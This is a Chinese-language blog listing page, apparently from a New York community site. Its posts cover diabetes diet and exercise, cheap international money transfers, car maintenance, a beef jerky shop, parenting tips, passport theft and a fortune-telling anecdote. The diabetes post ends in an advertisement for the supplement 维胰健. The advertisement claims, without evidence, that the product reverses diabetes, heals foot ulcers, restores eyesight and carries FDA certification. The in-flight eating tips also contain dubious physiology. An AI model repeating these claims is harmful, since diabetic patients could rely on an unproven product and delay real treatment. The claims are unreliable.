如果確診了糖尿病,也不要過於驚慌
我們將會從以下幾個方面給予患者幫助
●飲食習慣
●運動習慣
●藥物治療
【低碳水飲食法】
眾所周知,糖尿病患者的飲食非常關鍵。戒糖、低碳成了熱點話題。對於壹直存在爭議的“糖尿病患者是否適合低碳飲食”我們今天就來為您揭曉。
01
低碳飲食的3大好處,糖尿病患者值得擁有!
密歇根大學Laura Saslow教授壹般而言,低碳飲食是指碳水化合物占總熱量的26%-45%,極低碳飲食則為碳水化合物占總熱量的26%以下。據Laura Saslow介紹,2019最新版ADA糖尿病指南在低碳飲食方面已經有所更新,並指出低碳飲食或為2型糖尿病患者的可行方案。

近年來,在眾多糖尿病飲食模式的研究當中,低碳/極低碳飲食的進展給我們帶來了不少好消息。

▎  降低血糖和胰島素水平:患者采用極低碳飲食2周後,糖化血紅蛋白(HbA1c)從7.3%下降至6.8%,同時胰島素水平也有明顯下降(圖1)。
▎  減少藥物使用及治療成本:壹項研究納入21例患者觀察16周發現,極低碳飲食可幫助降低血糖(HbA1c:7.4%→6.3%),
使33%、50%的患者停用或減少降糖藥物的應用(圖2);另壹項為期12個月的研究納入262例患者也收獲了HbA1c下降1.3%,57%降糖藥物停用的結果;
此外還有研究評估了極低碳飲食與低脂飲食加上減肥藥降低患者血糖及用藥的效果,其數據顯示極低碳飲食組HbA1c降低0.7%,用藥減少71%,
而低脂飲食加減肥藥反而使HbA1c增加了0.2%,用藥減少則為30%。
▎  減重降壓、改善血脂等其他獲益:相關Meta分析顯示,低碳飲食可使患者體重下降7.0kg(95% CI:-7.2,-6.9),
收縮壓和舒張壓分別下降4.8(95% CI:-5.3,-4.3)和3.1(95% CI:-3.5,-2.7);
此外還能增加高密度脂蛋白膽固醇 (HDL-C)、降低低密度脂蛋白膽固醇 (LDL-C)和甘油三酯(TG)水平(圖3),
減少體內IL-6、IL-8、TNF-α、MCP-1等炎癥介質的釋放。
02
糖尿病低碳飲食仍需謹慎,這些問題不容忽視!
低碳水飲食確實能給糖尿病患者帶來許多好處,但是也有壹定要註意的幾點。“如果壹味地追求低碳,可能會帶來另外壹個問題,也就是酮癥的發生”。
碳水化合物是能量的主要來源,當攝入減少時機體會開始燃燒脂肪,而酮體是在脂肪分解過程中所產生的代謝產物。
由於糖尿病患者本身屬於已胰島素抵抗,這種情況下更容易發生酮癥,若酮癥進壹步加重則會導致酮癥酸中毒,嚴重危害患者健康。
“我認為極低碳飲食可能比較適合肥胖及代謝綜合征的患者,建議糖尿病患者適度低碳,維持在26%-45%的水平即可”。
結論:低碳飲食對於肥胖及糖尿病患者短期使用具有壹定的治療效果,但也存在相應的風險,必須根據專業人士指導,如果關於低碳飲食有困惑的,也可聯繫我們咨詢輔導。
【糖尿病人必不可少的運動】
體育鍛煉是糖尿病控制的三駕馬車之壹,作用不容忽視。對於糖尿病人,能多動就多動,每壹步帶來的都是健康!
上升運動強度的問題,中等強度的走動就比站和慢慢走路對健康人的收益大多了。當然,對黃色方塊和紅色方塊代表的人群來說,哪怕是站壹站,也是好的。
發生這種狀況其實也不難理解,因為本身超重/肥胖和血糖異常者比正常人更容易受到“久坐不動”的傷害!在這個情況下,稍有壹些改變,就能帶來收益。
而如果妳平時就很喜歡體育鍛煉,而且身體情況很好,那麽妳抵抗久坐傷害的能力也更強,要想獲益也需要更激烈壹點的活動。
當然,糖尿病患者也可以預約或者致電我們的紐約香港康復中心,我們會有專業的醫師為各位作答,給患者制定合理的飲食運動計劃。 
【维胰建——糖尿病人的新生】
糖尿病蛋白尿尿液改變
1.尿液中泡沫減少或者消失;2.尿色渾濁有異味;3、尿液的粘滯性減少;4、有男性糖尿病患者反映,在連續服用壹個月左右,性功能有顯著改善。
糖尿病視網膜病變視覺模糊狀態改善
前文和大家分享了張老漢的故事,大家壹定引以為戒,莫要等到疾病到了無法挽回的余地再去後悔。根據許多服用者的反饋,在服用壹個月後視力
下降有明顯改善,感覺目光明亮,眼睛不再幹澀。
糖尿病足及手腳麻木改善
糖尿病足及手腳麻痛的人在服用壹個月左右,下肢及足部的皮膚損傷及潰爛得到改善,出現新生微血管,皮膚呈現愈合狀態,手腳麻痛及無知覺的
神經性病變狀態改善或消失,下肢血管栓塞導致的疼痛狀態改善或消失。
消化功能改善
糖尿病患者常伴有胃腸功能障礙和腸道菌群失調,出現很多不適,如:食後腹脹、燒灼感、便秘、排氣多伴惡臭等等。
有服用者反映大概在服用20天左右上述胃腸的不適感消失。
同時維胰健還有美國FDA認證,許多糖尿病病人在使用了我們的飲食法,再配合使用維胰健之後,糖尿病均發生了逆轉!

维胰健纽约糖尿病康复管理中心 

WYJ Diabetes Reversal Center NY

地址136-20 38th Ave Suite 5A, Flushing, NY 11354

电话(888) 585-1158

网站https://www.wyjhealth.com/

2019-10-05 / by / in
多国适用的最划算国际汇款方式

如何汇款/国际汇款/汇款方式/汇款途径

人们在生活中有各种各样的原因需要国际汇款,无论是寄钱回国给家人, 还是中小企业要从海外买货,支付某项服务,为海外员工付工资等等,都需要用到国际汇款。

虽然作者身在英国,以英国的情况为基础成文,以英镑为基础说明问题, 但本文所述原则,所介绍到的换汇公司对许多其它国家同样适用。


银行汇款不划算

通过银行进行国际汇款往往是很不划算的。你可能先在谷歌上查了一下当前汇率,但查询到你的银行提供的国际汇款的汇率时,却发现完全不是一回事。

这是因为谷歌上发布的汇率是市场中间汇率,即当时那两种货币买方和卖方所出价钱的中间价。 这个市场中间汇率也被称为“真实”汇率,是专业货币交易商使用的汇率。

然而,你的银行并不会把这个汇率给你, 而是在这个汇率基础上增加一个幅度后再给你,这个加价的幅度是不透明的。

银行会以对用户不利的汇率或手续费赚取利润,或者两者兼而用之,结果就是银行利润颇丰,而用户则在向海外汇款时感觉被宰了一刀, 相当心疼。

这样的交易对用户来说有多糟? 据英国《每日电讯》的一篇报导,用户很可能损失掉5%,也就是说,你在跨国汇款时,每1,000英镑,就有50镑被银行赚去了。

幸运的是,今天人们在需要往海外汇款时,可以有一堆选择。除了银行汇款,建筑协会和邮局汇款外,他们还可以使用近些年发展起来的专业网络国际汇款公司,甚至对等兑换(Peer to Peer)网络国际汇款公司。

网络公司比拥有高街店面的银行开销低,因此可以将优势转移给消费者。


什么是对等兑换(Peer to Peer)公司?

Hand holding puzzle coming out from screen to connect with another, in white background
在专业网络国际汇款公司中,对等兑换(Peer to Peer)形式的网络国际汇款公司更以其真实的汇率,透明的收费而倍受人们青睐。(Depositphotos)

在专业网络国际汇款公司中,对等兑换(Peer to Peer)形式的网络国际汇款公司更以其真实的汇率,透明的收费而倍受人们青睐。

什么是对等兑换呢,让我们先从一个小故事讲起:

Taavet Hinrikus和Kristo Käärmann是两个朋友,Taavet为爱沙尼亚的Skype公司工作。他的工资是以欧元支付给他的,但他住在伦敦;Kristo在伦敦工作,他的工资是以英镑支付给他的,但他在爱沙尼亚有一所房产需要用欧元支付按揭。

他们每个月有一天会查到当时的中间市场汇率,然后Kristo把英镑放入Taavet的英国银行账户。而Taavet把欧元放入Kristo的欧元账户,两人都得到了他们需要的货币,却没有支付一分钱的银行隐藏费用。

“一定有其他人像我们这样,”这两人的顿悟促成了一个对等兑换的网络国际汇款公司──TransferWise的建立。

TransferWise用技术手段匹配人们在不同国家、货币之间的交换需求,以中间市场汇率为基准进行交换。使用户可以获得以前一般人难以获得的最公平的汇率。


我们可以做个有趣的试验:

在谷歌搜索中敲入任何两种货币——谷歌会显示出他们之间的即时汇率,

然后马上查看下面这个TransferWise的汇率和费用框:

    

你可以看到TransferWise提供的汇率(Guaranteed Exchange Rate)和谷歌的是一致的!

汇款手续费也会随着数额和货币的不同而清楚精确地显示出来。

TransferWise号称:“不同的货币之间费用会有不同,但我们通常比银行划算8到10倍,快5倍。”

比如从英国汇款到美国没有固定手续费,只收汇款额的约0.4%;到澳大利亚是0.45%;到欧洲是每笔80便士加0.35%。非常有竞争力。到中国大陆的费用稍贵一些,大约是1.3%。而且只支持外币到人民币的单向汇款,对在海外需要往中国国内汇款的人有用。


目前TransferWise支持以下货币之间的双向国际汇款:

欧元、英镑、美元、澳元、瑞士法郎、加拿大元、波兰兹罗提、瑞典克朗、挪威克朗、丹麦克朗、匈牙利福林、捷克克朗、保加利亚列弗、罗马尼亚列伊、新西兰元、巴西雷亚尔、新加坡元、日元,南非兰特。

还支持从以上所列货币到以下货币的单向国际汇款:

中国人民币、港元、印度卢比、马来西亚令吉、菲律宾比索、巴基斯坦卢比、摩洛哥迪拉姆、泰铢、阿联酋迪拉姆、乌克兰赫列夫纳、印度尼西亚卢比、哥伦比亚比索、格鲁吉亚拉里、土耳其里拉、墨西哥比索、俄罗斯卢布、韩国元、斯里兰卡卢布、孟加拉国塔卡、越南盾。

Transferwise的特点还包括:

  •   •   汇款的限额从一英镑到一百万英镑。
  •   •   汇款会在一至四天内到达海外收款人的银行账户。

Transferwise于2011年成立,截止到2019年3月12日,在用户评价网站Trustpilot上有60,684名用户,在满分10分中平均给了它9.2分,整体表现:“优秀”。

用户评价包括难以置信的便宜,使用真实汇率,容易使用,速度快,汇款额范围大,汇款过程通知及时,可靠。

(Trustpilot是用户自由评价的网站,不受任何商家约束,因此其评价基本反映了用户的真实感受。 )

Transferwise 网址*: https://transferwise.com

超级便宜又方便的“无界账户”

2018年, TransferWise还推出了一种叫做“无界账户”(borderless account)的账户, 这种账户,同时提供英国、美国、澳大利亚、欧元区、新西兰的银行账户号,所以用这一个账户接收以上不同的货币完全没有费用。

当然这个账户也可以接收和持有该公司业务范围内其它种类的货币,在你需要时,或者在汇率有利时,可以方便地随时在货币间转换,具有接收款、持款、汇款、消费的功能;

客户并可以订一张与之相配的“借记万事达卡”(debitMastercard®),用于直接用不同货币的划卡消费,没有费用,甚至可以在ATM上小额提款,同样没有费用。

所以使用起来如同打破了国家间的界限一样方便。

这对于到海外旅行或者工作生活的人来说,兑换货币和使用不同的货币变得超级方便和便宜。

TransferWise甚至还做了无界账户的手机App, 所以用手机就可以实现换汇、汇款等功能了。


Transferwise的无界账户页面: https://transferwise.com/gb/borderless

 XE*

另外值得推荐的国际汇款公司还有XE,它2018年与我们过去介绍过的HiFX合并,笔者是HiFX的用户,在它家开户非常简单方便,几乎是五分钟搞定就可以汇款了,之后还收到它寄到家里的开户确认函, 非常贴心。相比之下,有些网络公司开户就要准备各种文件,让人相当头大。合并后的XE宣称服务与以前一样或更好。

更重要的是无论汇款数额大小,无手续费,而它的汇率也是非常有竞争力的。汇率和手续费两项因素相加,划算的程度跟Transferwise也有得一拼。

XE支持在170多个国家,60多种货币间的国际汇款,其中包括英镑和港币、也有美元、欧元、澳元等,可惜不包括人民币。


Xe的特点还包括

  •    •   无论数目大小,汇款零手续费
  •    •   汇款的限额相当于 50万美元以内,客户都可以自己在网上操作。

截止到2019年3月12日,在用户评价网站Trustpilot上,有25,630名用户在满分10分中平均给了它9.3分,整体表现:“优秀”。

大部分用户评价XE:开户容易、使用简便、价格透明,汇率佳,汇款速度快,可靠, 工作人员回复用户问题迅速、 耐心、专业。

XE建立于1993年,是加拿大富有声誉的一家换汇公司,HiFX于1998年成立于英国伦敦, 2019年1月加入XE。

Xe网址*

https://www.xe.com


你的钱安全吗?

本文所介绍的两家公司都由英国金融行为监管局(FCA)授权的公司,受FCA监管,这样的公司每天在营业结束时,都需要把用户的汇款与该公司自己的钱分开(被称为Ringfencing)。这样做可以保护用户的汇款。所以这种公司即使遇到问题,用户应该也能把自己的钱找回来。

2019-09-30 / by / in , ,
商务舱秘密你知道多少?

商务舱秘密你知道多少?

1.节省大把时间

2.总裁级别的贵宾候机室

3.大师烹饪的美食

4.美美睡一觉

5.时刻保持神清气爽

2019-09-29 / by / in
汽车问答:汽车充电需断开电池吗?

问:我的车是2015 Nissan Murano,2015年4月买的,现在才开了3万多公里, 就从今年5月换过机油以后一周开始,发现经常会在行驶中方向盘突然锁死2-3秒的情况,停车场低速发生,直行道路时速70多公里的时候也发生,包括左右转弯也曾发生过。锁死发生时,仪表盘上有一个方向盘形状感叹号的黄色灯会亮,2-3秒后一切正常,灯也就不亮了。我去Dealer那里检查了几次都查不出原因,甚至发生状况后直接开去Dealer那里不熄火,查code都找不到任何出错记录。请帮忙解答,谢谢!


方向盘突然锁死2-3秒,可能是助力转向泵(Power Steering Pump)那出了问题。或者转向泵的高压管道那有杂物导致堵塞。这个问题比较特殊,需要做进一步的查询。

 


:给汽车电池充电时是否不需要断开电池?〈当初朋友教我的充电方法是断开电池正极〈+〉再充的,如果不用断开电池就容易多了。〉我的车〈2008的Honda飞渡〉不常开,也打算用NOCO充电器来维持电池。

答:充电不需要断开电池。


 

:我原有一部丰田的Sienna Van。开了有20年了。我一直都是自己做Maintenance的。只能做如下一些工作,如换机油、检查或添加刹车油、方向盘油、Rotate Tires等等。

2018年刚刚买了一部Nissan Rogue SUV,我想继续自己换车机油等一些简单的Maintenance。车子的保养周期其是每8,000公里换一次机油。到行车的公里数较多时,我想保养的检查项目就多了自己会做不来。此时再去Dealer处做保养是否会较好的?

添加或更换水箱水时是否一定要和原来的颜色相同的?谢谢。


:更换机油,添加方向盘油,刹车油都是可以自己做的。水箱水直接从Dealer那买原厂的,贵也贵不了多少,反正是5-6年才换一次。

2019-09-18 / by / in
台湾最火伴手礼登陆纽约 老农庄牛肉干

40年独家秘方

最好吃的牛肉干

 

 

 

 

 

iPhone  蘋果商店下載:

 https://apps.apple.com/…/%E8%80%81%E8%BE%B2%E…/id1513300214…

 

Android 谷歌下載:

https://play.google.com/store/apps/details…

 

 

 

在这非常时期,希望大家都平安健康!

很多人在问老农庄是否有营业?有的!

老农庄是政府归类于 “ 民生必需品EssentialBusiness”

我们老农庄肉干在这段非常时期里,会持续制造出安全、好吃的肉干来满足消费者。

欢迎大家上网订购  www.oldcountryjerky.com 

 

 


「蒜味牛肉干」新品上市,欢迎订购

老农庄推出新口味“ 蒜味牛肉干”,在预售期间倍受大家喜爱,一扫而空!4/30开始正式登场,没买到的朋友现在可以上网订购。



老农庄牛肉干 Old Country Jerky 独特的制作流程和四大坚持

坚持以传统手工制程,严选上等牛肉食材,使用名扬四海的金门高粱酒为主要腌制原料之一。佐以独家配方,悉心调制,不仅完美保留牛肉干香甜肉质,丝丝入口层次丰富,令人上瘾,片片完整,肉质柔嫩多汁。

 


老农庄牛肉干 Old Country Jerky促销优惠:

 

* 网络订购一次超过$50,  可以免运费


老农庄古乡/老农庄牛肉干(Old Country Jerky)

 


纽约销售点

总部                                                                          

地址:49 Atlantic Ave,Lynbrook,NY11563

电话:929-391-7213

世界書局

法拉盛:136-19 38th Ave, Flushing, NY 11354

電話:  718-445-2661

NewTown Pharmacy
瑞康藥房
8615 Justice Ave
Elmhurst, New York, 11371
電話:718-760-2600

AllShare
樂享
40-24 College Point Blvd
Flushing Skyview Mall, R3

Starside Drugs
安康寧藥房
4115 Kissena Blvd
Flushing, NY 11355
電話:718-888-0893

ChiMaMa Noodle House
吉媽媽麵館
45-37C Bell Blvd
Bayside, NY, 11361
電話:718-631-8881

Bearin Wheel Pie
車輪餅
127A Walker Street
New York, NY, 10013
電話:646-490-4873

Po Wing Hong Food Market

(寶榮行, 唐人街)

49 Elizabeth Street, NY, 10013.

電話:212-966-1080

Tokyo Mart (東京市場, 唐人街)

91 Mulberry Street, NY, 10013.

電話:212-962-6622

 


营业:周二,四,六,日上午11点至下午6点

网址:https://oldcountryjerky.com/

脸书:https://www.facebook.com/NYoldcountryjerky

2019-08-11 / by / in
教育孩子的十大误区 你也中招了吗?

教育孩子的十大误区 你也中招了吗?


教育儿童应避免的十大错误
1.过度宠爱
2.未适时教导自律
3.未和老师保持联系
4.过度地奖励
5.未建立孩子的责任感
6.不贯彻承诺
7.未建立良好夫妻互动模式
8.未设立合理的期望
9.未教导孩子「一分耕耘,一分收获」的人生观
10.未让孩子保有自我特性

2019-08-08 / by / in
坐飞机点餐有技巧

飞机上点餐 需要了解哪些技巧呢?

一、吃什么,乘飞机应该点什么?


建议大家在飞机上点餐应该以清淡、蔬菜为主,因蔬菜中含有更多的纤维素及维生素,这些元素可促进人体血液循环的加快。如果乘客在飞机上血液循环的较慢,就会引起头晕、恶心等多种不适症状,而多食用一些清淡的、蔬菜类的食物可以促进血液循环,从而降低乘机出现的不适感,让乘客更舒心的享受旅程。
乘飞机不应该点什么?英爱尽量少点一些油腻类的食物,特别对于可能出现晕机症状的乘客,油腻类食物要尽量减少。油腻类食物会让身体的负担较重,加之在声音、气压的影响下,乘客可能会因为油腻而出现更为严重的耳鸣、呕吐现象,所以减少油腻类食物可以让自己更舒适的乘机。


二、吃多少
在飞机上点餐还需要注意,不要点太多,不要吃太多,点餐的量可以是平常饭量的一半,因为吃的太饱或者太撑,会加重乘机过程中的不适。
一些乘客乘坐飞机会出现头晕、头疼、恶心、呕吐等现象,而在乘坐其它交通工具时不会出现类似的状况,大多数情况下就是因为胃部食物太多,饱腹感增加了身体的负担,加上气压的影响,所以晕机的现象由此加重。

特别提醒:偏重热量高的食物。在飞机上点餐注意充足热量的摄取,尽量点一些热量相对较高的食物,像面包、瘦肉、米饭这些。因乘坐飞机会因气压的变化导致体内热量的消耗比在陆地上更快,所以为了保持体内热量的平衡,可以多食用一些热量好的食物,以免因体内热量消失的太快而出现不适感。特别是在冬季,要注意以高热量食物为主,否则乘客可能会因体内热量消耗太快而出现感冒等不适症状。


总之,乘坐飞机不能想吃什么就吃什么,也不能想吃多少就吃多少,饮食的量要注意,食物的种类也要注意,蔬菜、面包、米饭、清淡肉类、牛奶、奶酪等这些是首选,咖啡、油炸等最好不要食用,想要健康饮食、舒适乘机,上面的这些点餐技巧您需要知道。

特别是那些有过相关病史的老年人更是要小心自己的健康。此外携带药物时可以选择液体药物,但要在登记之前像安检以及机组说明,经过同意之后再携带登机。

2019-08-08 / by / in , ,
护照信息被盗会有什么危害 如何应对?

护照信息被盗会有什么危害 如何应对?

现代社会有一种身份窃贼,即专门利用假身份或别人的身份去做一些坏事甚至犯罪。一旦这种行为得逞,很可能会给身份被利用的人带来不必要的麻烦。


根据网络安全情报公司Flashpoint的研究,护照数据可以在暗网以三种格式(功能)出售:1、数字扫描2、护照模板3、成品护照。

扫描价格从5~65美元不等;模板价格从29至89美元不等;成品价格则可能高达5,000美元。

在暗网上买一本专业级假护照,通常需要花上1,000到2,000美元,这不仅包括受害者被盗或被泄露的护照信息,还包括使用该护照在许多国家可以做的事情。


根据IBM网络安全小组X-Force Red负责人查尔斯‧亨德森(Charles Henderson)的说法,暗网研究人员已经看到了更为复杂的护照伪造品,犯罪分子可能需要花上3,000多美元买一本这种高端护照——带有外交关系等特殊功能。

美国国务院曾表示,护照信息泄露通常不会变成伪造护照,新护照有很多安全功能可以防止伪造,并强调人们不能单凭护照号码旅行。获得新护照可以帮助那些怀疑自己护照信息被盗的消费者,但他们也必须承担更新文件所需要的费用。

2019-08-08 / by / in
餐厅如何点牛排

牛排的注意事项:
选牛种。澳洲和牛(Wagyu),丰腴油润,软嫩松化。安格斯牛(Angus),韧劲和嚼感更鲜明。有时菜单上也会标注“谷饲”或“草饲”,谷饲即谷物喂养,草饲即牧草喂养。谷饲牛的肉质会比草饲牛肥厚,一般澳洲和牛都是谷饲;而草饲牛则比谷饲牛更具风味,因为草饲比谷饲时间长,牛肉中累积的风味物质也就更多。


选部位。
选熟度:近生,一分熟,三分熟,五分熟,七分熟,全熟,
五分熟是最保险的,对“血色”没有心理阴影的还可以尝试三分熟。

油脂较少的菲力和肋眼建议三至五分熟,肉质较软嫩;老饕牛排、沙朗与腰脊肉油脂较多,建议五至七分熟;牛小排则因为富含油脂,是少数建议全熟的部位。


吃牛排应该配什么酱汁?吃牛排的时候,很多人会选择加上不同的酱汁调味。例如,法式牛排就特别注重酱汁的调配,用各式酱汁来凸显出牛排的味道。世界上最常见的牛排酱汁有:黑胡椒酱汁,由黑胡椒洋葱末及奶油熬制;蘑菇酱汁,由蘑菇青葱及少许雪莉酒调配而成;红葡萄酒酱汁,糖渍的红酒与葱段做成的酱汁

2019-08-08 / by / in
影响WiFi信号强弱的居家用品

影响WiFi信号强弱的居家用品
八种会影响无线信号的情况


1,金属干扰
2,微波炉
3,冰箱或洗衣机
4,婴儿监视器
5,无人机
6,墙壁建筑材料的阻挡
7,圣诞树装饰物干扰
8,镜子也会影响无线

增强无线网络信号的小提示
1)路由器放在开阔的空间当中。
2)重启路由器可以清除内部缓存,安装更新路由器版本。
3)选择更强的天线,使用无线放大器,尝试使用最新的无线技术。
4)为无线网络设置密码防止盗用。
5)选择较高频率的宽频,因为高频的使用者数量通常比低频来得少。

2019-08-08 / by / in , , ,
为什么总是存不住钱?

为什么总是存不住钱?

1.总喜欢出门逛逛

2.一遇到打折就停不下来


3.出门时急急忙忙

4.在家时无所事事

5.经常动用储蓄

6.少量多次领钱

7.从不多搜集资讯

8. 没有设定自动转存

9. 赚的利息太少

2019-08-08 / by / in
新生儿需要晒太阳吗?

进入盛夏,成年人都知道用帽子、墨镜和防晒霜来避开烈阳的直晒。而婴儿的皮肤更薄、更娇嫩,要让他们不被晒坏,有什么特别注意事项呢?


在新唐人健康1+1直播节目中,观众林小姐提问:“宝宝出门一定要喷防晒液吗?如果不用防晒产品会有什么后果?”

康奈尔大学下城医院儿科主治医生、幸福儿科诊所院长黄彦鈜答:
林小姐应该是非常关心宝宝的妈妈。这是个好问题。一般在六个月以下的婴儿,我们都不建议直接让宝宝晒太阳。可以抱宝宝出门,可以给宝宝打伞或者戴帽子。所谓的不直接晒,就是真的不让宝宝直接晒到太阳。但即便打伞的话,宝宝还是会受到一些太阳辐射。所以还是要给宝宝涂防晒霜。

六个月以上的宝宝可以直接晒太阳,但不要在太阳最强烈的时候(比如中午)把他带出去,或带到海滩上暴晒。因为婴儿体形非常小,体表面积却非常大,脱水的机会比大人高很多倍。

如果带宝宝出去在海滩上玩耍,要确保涂防晒霜;另外就是要确保宝宝喝很多的水,这样宝宝才不会容易脱水。(看完整直播»新生宝宝的“成长秘笈”)

baby getting sun cream on her face
半岁以上婴幼儿,可在出门前15分钟在裸露皮肤上多搽一些防晒霜。之后每2小时以及在宝宝游泳或出汗后再补搽一次。(iStock)
加州大学洛杉矶分校儿科医生Jay Joo博士的提示与黄彦鈜医生相当接近。他认为,最好的保护就是避免阳光直射,尤其是在上午10时至下午2时之间。此外,他还有如下六点建议:

1. 给宝宝戴上宽边帽子,穿上轻质材料的长袖衣裤。

2. 如果宝宝不反对,可给他/她戴副墨镜。

3. 六个月以下婴儿,可在手部搽少许防晒霜。要确保防晒霜不会刺激宝宝皮肤。

4. 半岁以上婴幼儿,可在出门前15分钟在裸露皮肤上多搽一些防晒霜。之后每2小时以及在宝宝游泳或出汗后再补搽一次。

5. 选用SPF 30的广谱防晒霜或防晒液。

6. 如果宝宝已晒伤,可用冷敷法、炉甘石洗剂或芦荟润肤露缓解症状。

黄彦鈜(Grace Yen Hoong Ooi, MD),医学博士,康奈尔下城医院及纽约大学信义会医院临床教授、儿科主治医师,纽约幸福儿科诊所院长。毕业于哈佛大学医学院、加拿大麦吉尔大学,曾任爱因斯坦医学院儿科住院医师。

2019-08-08 / by / in , , , ,
10种常见儿童意外伤害 怎么处理?

常见儿童意外伤害 怎么处理?

1. 摔断牙齿

2. 误食酒精饮料

3. 眼睛受伤


4. 烫伤

5. 舌头咬伤

6. 蜜蜂叮伤

7. 头部肿包

8.荨麻疹

9. 咬伤

2019-08-08 / by / in
皮蛋身世之谜

皮蛋身世之谜 是恶心食物?还是营养美食?

皮蛋如何挑选、保存?


●完整包装、外壳无破损

●必须保存在常温、通风、阴暗的场所

●如何挑选皮蛋

●不要购买来路不明的产品

●勿食用过量

2019-08-08 / by / in
不需要收纳柜的收纳法

物品自动减少 不需要收纳柜的收纳法

其实,把物品收起来唯一的用处,只有在你想改掉坏习惯的时候。有项实验指出,只要把零食收到柜子里、放在看不到的地方,零食就会缩减为原本的三分之一。所以,建议大家可以不选择把物品收起来,而是改用摆饰收纳法。


■减少并不再添购收纳器具

■挑选提升干劲的家具

重点: 终极的收纳术不是收起来,而是摆饰。 减少收纳的空间,东西便会自然减少。

2019-08-08 / by / in , ,
眼镜越擦越花是啥毛病?

正确清洁眼镜的方法

配眼镜的时候,眼镜行总会在盒子里附上一块眼镜布。许多人也习惯拿这块眼镜布来把眼镜镜片擦干净。但您知道吗?拿这块眼镜布擦眼镜,反而会对镜片造成伤害呢。

一名网友日前在PTT贴文,表示到眼镜行新配好了一副眼镜,没想到去拿眼镜时,老板竟提醒他,盒子里的眼镜布是拿来装饰的,最好不要真的拿来擦。究竟这块眼镜片能不能擦眼镜,也引起网友热烈讨论。


这名网友发文表示,在配镜取件时,眼镜行老板告诉他,眼镜布其实只是个装饰品,最好不要真的拿来擦眼镜;老板也建议他,如果发现眼镜脏污,想要擦拭干净的话,只要拿卫生纸来擦就可以了。

老板的建议也让该名网友感到傻眼,不知真相到底是怎么一回事,因为跟自己的理解完全不一样。


对于网友的疑惑,立刻有其他网友跟进留言表示,「这个讲法我小时候眼镜行就这样跟我讲了」、「眼镜布本来就不能拿来擦,拿面纸才对」。

根据其它媒体相关报导,
先前就曾经有验光师现身说法,提及眼镜布的真正功能,其实只是拿来放在眼镜盒中,避免眼镜与眼镜盒长时间碰撞摩擦后产生损伤。


正因如此,所以赠送给消费者的眼镜布,价格较低廉,品质也一般,加上纤维间隙较大,随着时间容易积累很多灰尘,到时拿这块积满灰尘的眼镜布去擦眼镜,反而容易造成反效果。

但不只眼镜布,许多人发现镜片脏的时候,可能就会直接拿衣角来擦,但这些清洁习惯都不对,因为镜片上难免会有细沙或灰尘,采用干擦的方式,一定会对镜片造成损伤,久了就会发现镜片布满刮痕。

验光师也说,想清洁镜片,正确的方法是将清洁剂滴在有灰尘的镜片上,然后再用水加以冲洗后,拿卫生纸把表面的水滴吸干、晾干即可。如果有沾到油渍、或是难以清除的污渍,可以再加上洗洁精或洗手液。


而目前坊间也有专门用来清洗眼独的洗镜液,可说是眼镜一族的好朋友。当然没有购买的话,使用家里的清洁剂也行。但要注意的是,家中的清洁剂,很多都是弱碱性,清洁长了,难免会破坏镜片表层的镀膜。所以一定要找中性的清洁剂。而在日常生活中,最常见的中性清洁剂,主要以洗碗精居多,所以在选择时要注意一下。

至于眼镜行常见到的超音波清洗器,也是不错的清洁方式,因为在清洁过程中,机器会利用频率传导,造成真空气泡,不但能借此把眼镜的细小脏污震落,还能清洁许多不好处理的缝隙,是非常专业细腻的清洁方式。

目前市场上有推出许多体积较小、价格也亲民的家用超音波清洗机,有需要的民众也可以买一台,不但能清洁眼镜,还能清洁戒指、首饰等精品,一机多用,也是不错的选择哦。

2019-08-07 / by / in , , ,
摸骨算命奇准 十年后全得证 史瞎子救了自己

摸骨算命奇准 十年后全得证 史瞎子救了自己

如果有人能把以后将要发生的事情预先算出来,就可以证明命运是前定的。反之,如果命运不是前定,而是随机、浮沉不定、没规律可循的话,则任何算命术都不会有所应验。


清代赵翼在《檐曝杂记》中记录了一件事,清雍正年间,浙东有一个史瞎子,帮男子算命用摸骨,对方是女子则听声,用此预言别人祸福,出奇准确。
有一次,浙江巡抚徐元梦把史瞎子找来,让他给自己的孙子舒赫德摸骨。当时舒赫德还是童子,在座的还有他私塾老师汪由敦。史瞎子为汪、舒二人相命摸骨后,认为二人将来必定显贵。当时,舒赫德是官宦人家的贵公子,将来飞黄腾达固然是意料之中的事情。而汪由敦则是穷秀才,根本想不到有这等好事,因此认为史瞎子是因为学生的面子,所以也说点好听的应付老师。


这天晚上,史瞎子摸到书塾,对汪由敦说:“你好好努力,将来官职名声在主人之上。”汪由敦越发惶恐不敢当。史瞎子说:“我这不是说瞎话。你是穷书生,我奉承你有什么好处呢?正因为我命中注定,将来我会有一场灾厄,要持续多年。到时你已经当大官了,我的灾厄还要仰赖先生解除。在这里郑重相托,请先生千万不要忘记今天的话,到时尽力拯救我。”


不久,有人把史瞎子推荐给雍正帝。雍正皇帝一向对术数兴趣浓厚,让史瞎子上朝,史瞎子上了奏书之后,却被流放到山海关外去落户,这一去就是十年。
雍正登基十年时,下诏命凡是流放充军以下的罪等都减轻发落。此时汪由敦早已高中进士,升任刑部尚书。汪由敦查看罪犯档案,看到史瞎子也列名其中。汪由敦当然还记得史瞎子,但是,史瞎子是由皇帝特旨流放,档案中又没有明确记载他犯罪事由,因此这类罪犯不在特赦之列。


同僚对史瞎子的案子都感到为难。汪由敦以史瞎子的罪没有超过充军流放,正与皇帝的恩诏相符,于是奏请将他释放回来。
史瞎子回到京城后,仍旧客居在汪由敦的府第,他受了教训更加收敛,不肯为别人算命说祸福了。后来,汪由敦的长子承沆正要参加科举考试,汪夫人望子成龙的心情非常迫切,请史瞎子为他算命。史瞎子说:“可以当到六品官。”六品官就是翰林院修撰及各部主事。当时汪由敦正在内廷供职,子弟若考中进士,必定不至于分发到六部。推测他的长子将中状元,担任翰林院修撰无疑。


汪夫人正暗自高兴,不料汪由敦被委派担任这科的主考官,这样一来,其长子承沆必须回避,不得参加考试。人们都以为史瞎子的预言错了。但到这年冬天,皇帝特赐汪由敦荫一子,承沆得到主事官职,属于正六品。
史瞎子的预言就是如此出奇地准确。那年《檐曝杂记》一书作者赵翼正客居汪由敦家中,对这事来龙去脉知道得非常详细,就把它记录下来。史瞎子还有其他算命的奇验,不胜缕述。


史瞎子在汪由敦还是一个穷秀才时,就己经算到他将来飞黄腾达,而且职位会比他主人还要高,而且还算到日后自己有难,还要靠他来拯救。事隔十多年,果然应验。如果命运不是预先定好,又怎能解释这后来发生的一切呢?

2019-08-07 / by / in
美联储降息 对你的荷包有何影?

美联储降息1码 对你的荷包有何影响
